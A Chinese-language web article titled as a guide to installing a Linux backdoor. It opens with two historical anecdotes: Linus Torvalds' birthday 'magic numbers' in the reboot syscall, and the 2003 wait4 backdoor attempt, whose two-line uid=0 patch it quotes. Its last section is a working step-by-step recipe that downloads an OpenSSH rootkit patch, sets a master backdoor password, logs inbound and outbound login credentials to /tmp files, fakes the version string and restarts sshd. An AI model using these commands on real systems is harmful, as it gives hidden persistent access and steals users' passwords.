如何在Linux系統中安裝個後門?

劉楚王


看到這個問題,我的腦海裡就浮現了之前看到的兩則故事,一則是跟Linux作者Linus有關,他的這個故事嚴格意義上並不是一個後門,但是確實在Linux系統裡面安插了“私貨”;另外一個故事是真的在Linux源碼中安插了後門,而且差一點成功了。



  • 故事一:Linus在Linux中安插“私貨”

如果你對Linux代碼還算比較熟的,應該就知道下面截圖的是系統調用SYSC_reboot接口的代碼。

代碼中有一段校驗Magic Number(魔數)的代碼,上面的註釋是:“For safty, we require "magic" arguments.”

哇塞!說的多麼“冠冕堂皇”啊,為了安全,好像不做一下校驗就很不嚴謹似的。

接著看看那幾個比較的宏是幹嘛的:

嗯?!第一個參數貌似很有意思,像英文的“feeldead”,感覺要死了,可不是麼系統馬上要重啟了。但貌似除了這第一個參數的魔數,第二個參數要比較的魔數都沒什麼特別的意思嘛。

神奇的事情來了,把這幾個魔數轉成16進制:

0x28121969

0x5121996

0x16041998

0x20112000

看著像什麼?有點像是日期啊,答對了!

第一個是Linus大神的生日1969年12月28日,第二個是Linus的大女兒的生日1996年12月5日,第三個是Linus的二女兒的生日1998年4月16日,最後一個零零後是Linus的小女兒剩餘2000年11月20日。

Linus這是在Linux代碼中公然夾帶私貨啊!換句話來說,要想成功調用reboot API,那麼前兩個參數必須嚴格按如下規則填寫:

  • 第一個參數必須是0xfee1dead。
  • 在Linus大神的大女兒Patricia出生之前,第二個參數能且只能是0x28121969,也就是大神的生日。
  • 當Linus有了大女兒Patricia後,第二個參數也可以是Patricia的生日0x5121996。這樣說有點不精確,精確的說法是從Linux內核2.1.17版本開始,第二個參數也可以是0x5121996。查閱kernel.org上的內核發佈歷史,2.1.17應該發佈於1996年12月22日。可以想見,Linus大神在喜得愛女的幾天內就修改了內核代碼,然後在女兒滿月之前把把這個代碼發佈給世界了。
  • 當Linus有二女兒後,第二個參數也可以是二女兒的生日。
  • 當Linus有了小女兒後,第二個參數也可以是小女兒的生日。


Linus大神把這些有意義的魔數寫入Linux內核中,而且使它們稱為系統調用的一部分,也就是說只要Linux還在,只要Linux還運行,這些數字將在全世界各地流淌。全世界的Linux應用程序開發者都將使用這些魔數才能正確調用重啟接口,而且考慮到前向兼容性,這些數字是不會被輕易更改或者去除的。幸運的是,只要你係統不重啟,Linus的詭計就不能得逞,機智!



故事一的創作來源於格友公眾號的文章:雕刻在LINUX內核中的LINUS故事

https://blog.csdn.net/PCb4jR/article/details/81518695

。原文要比我寫的精彩,我只是把切題的部分摘出來了,它涉及很多有趣細節,感興趣的建議去看一下完整版。





  • 故事二:驚天黑客Linux插入後門記

Linux內核是開源代碼界可以說是最著名的標杆項目,全世界無數雙最頂尖的程序員的眼睛都盯著,正是基於此開源世界宣傳開源軟件比專有軟件更安全,那能不能向其中安插一個後門呢?雖然這是一件難度極高的事情,但有人差一點做到了,是怎麼回事呢?


在正式說之前,我們必須要了解一些背景知識。

2002年2月,Linux之父Linus Torvalds決定使用BitKeeper工具來管理Linux內核代碼主線(mainline)。利用版本控制工具,我們可以記錄每次代碼修改的差異,代碼修改的提交人信息,修改原因和其他信息,這對於軟件開發來說是一個很重要的事情。一開始Linus對BitKeeper評價很高,他認為是“The best tool for the job”。

BitMover是BitKeeper的開發廠商,其創始人和CEO是Larry McVoy,這個人也很熱衷於開源事業的發展。Larry期望BitKeeper能幫助Linus 免於陷入不斷加重的Linux內核管理工作中--事實上,自從Linus 開始使用BitKeeper之後,Linux的開發步伐加快了兩倍。

BitMover授權Linux開發者不用付費就能使用這個工具--前提是這樣一個協議:這個免費工具的真正使用者不能同時開發其競爭產品。換句話說,這個工具可以免費 使用(freely used),不過不能被自由克隆(freely cloned)。事實上,BitMover開發維護了兩個BitKeeper版本,一個免費的授權給Linux開發者使用開發Linux,另一個是商業產品需要購買,但BitKeeper其實也不虧,因為它的商業模式就是授權給開源開發者使用吸引那些付費用戶,相當於整個Linux開發團體給這個產品做了背書。當然這兩個版本都是BitMover的知識產權。


扯的原了,書回正傳。


2003年Linux源碼主拷貝存儲在BitKeeper中,如果開發者想往Linux代碼中提交一個修改,需要走一個審批流程,以此來確定這次更改能否被接受。每一次更改都有一個簡單的說明,其中包含一個指向審批記錄的鏈接。但是有些人不喜歡BitKeeper,於是BitMover的一些人(在Larry McVoy的指示下)建立一個單獨的CVS倉庫,這個倉庫包含了當前完整的Linux代碼以及全部的修改記錄,這樣的話不喜歡用BitKeeper的開發者就可以從CVS倉庫中獲取代碼,CVS代碼拷貝實際上是BitKeeper代碼的一個直接克隆。因此,CVS倉庫不是新修改提交代碼的地方,當然,當有人試圖往CVS中推送一些修改的時候,Larry McVoy能第一時間注意到。


故事就發生在這個CVS倉庫中。


2003年11月5號,Larry McVoy 注意到了一件怪事,CVS中的一個代碼變更沒有包含審批記錄的鏈接, 這是怎麼回事?

經過一番調查發現:從來沒有人批准過這個代碼變更,奇怪的是,這個代碼變更並沒有出現在BitKeeper主倉庫中,原來是有人黑進了CVS的服務器,偷偷插入了一段代碼。這段代碼到底做了什麼事情呢?

這段代碼修改了一個叫做wait4的Linux函數,程序可以使用wait4來等待一些事情的發生,這個代碼變更增加了這麼兩行:

+ if ((options == (__WCLONE | __WALL)) && (current->uid = 0))

+ retval = -EINVAL;


不仔細看,這段代碼並沒有什麼特別,只是做一下條件檢查,不滿足的話就返回錯誤碼。

但仔細一看"current->uid=0"是一個賦值語句啊!也就是說在用戶態調用wait4函數,條件隨便寫一個滿足“options == (__WCLONE | __WALL)”的,"current->uid=0"會立馬被執行。current->uid賦值為0意味著用戶ID被改成了0,也就拿到了root權限,那麼在系統中可以想幹什麼就幹什麼了。


幸運的是,這樣一個後門被Linux團隊敏銳的發現了,雖然它只是在CVS代碼庫中,但是危險性不容小覷。


首先,後門存在CVS中,不在BitKeeper的主倉庫中,從BitKeeper 代碼庫Build出的Linux肯定沒問題, 但是如果有人從CVS代碼庫中build了Linux, 那就中招了。其次,搞破壞的傢伙可能有這樣的預期:有個被Linus Torvalds所信任的內核開發者,他討厭BitKeeper,並且在使用CVS, 那當他修改了代碼,準備通過郵件的方式向Linus Torvalds發送patch的時候發現,咦,wait4這裡也有個code change, 是做條件檢查的,也包括進去吧。Linus收到補丁,一看是自己信任的兄弟提交的,沒有仔細檢查,於是後門代碼進入了主代碼倉庫。 那麼後果不堪設想!



故事二的創作來源於碼農翻身公眾號的文章:如何在Linux中安插一個後門?

https://blog.csdn.net/coderising/article/details/100682413

。並在此基礎上結合另外三篇文章做了再整理創作:

https://lwn.net/Articles/57135/


https://blog.csdn.net/glory1234work2115/article/details/51277402

https://freedom-to-

tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/



番外:

Linux使用BitKeeper做開發管理,但有人不樂意了,為什麼呢?因為BitKeeper是一個非開源但是有條件免費的版本控制工具,而Linux是開源軟件的標杆產品,用一個閉源軟件來管理開源軟件,就有“政治不正確”,心裡也膈應。但是在當時,確實也沒有哪個自由軟件/開源軟件工具具有BitKeeper那樣的功能--它提供了真正的分佈式開發能力,所以又不得不用。

雖然有協議要求“這個免費工具的真正使用者不能同時開發其競爭產品”,但是還是有人不斷的試圖反向工程BitKeeper,多次這樣的舉動引起了BitMover的注意和警告,最終導致了BitMover決定終 止結束免費BitKeeper產品的開發和應用。

沒有了免費的BitKeeper,Linus大神自己在短短几個星期裡面擼了一個版本管理軟件git,更厲害的是他大概花一天的時間就讓Git能達到自己管理自己的程度(self-hosting),之後就開始用Git提交Git的程序代碼了。多年以後,Github代碼託管平臺在開源界橫空出世,被稱為程序員的社交平臺,它的底層就是Git。目前Linux也將代碼託管在Github上,真是令人感慨啊。


享受Linux內核


比較簡單的利用ssh安裝後門

在這裡找到對應的openssh版本 http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/

安裝前首先

ssh -V

記錄下原來ssh版本信息,免得安裝後一看就版本不一樣了

wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz

tar zxvf openssh-5.9p1.tar.gz

tar zxvf 0x06-openssh-5.9p1.patch.tar.gz

cd openssh-5.9p1.patch/

cp sshbd5.9p1.diff ../openssh-5.9p1

cd ../openssh-5.9p1

patch < sshbd5.9p1.diff //patch 後門

vi includes.h //修改後門密碼,記錄文件位置,

/*

+#define ILOG "/tmp/ilog" //記錄登錄到本機的用戶名和密碼

+#define OLOG "/tmp/olog" //記錄本機登錄到遠程的用戶名和密碼

+#define SECRETPW "123456654321" //你後門的密碼

*/

vi version.h //修改ssh版本信息,改成原來的

先安裝所需環境不然會報錯

yum install -y openssl openssl-devel pam-devel

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

注意要是出現:configure: error: *** zlib.h missing – please install first or check config.log

需要安裝zlib

yum install -y zlib zlib-devel // http://sourceforge.net/projects/libpng/files/zlib/1.2.3/zlib-1.2.3.tar.gz/download 需要 make clean

make && make install

service sshd restart //重啟sshd

然後我們登錄ssh看看

再ssh localhost看看

使用後門密碼登錄是不會被記錄的

後門,記錄一舉兩得,是不是很簡單


分享到:


相關文章: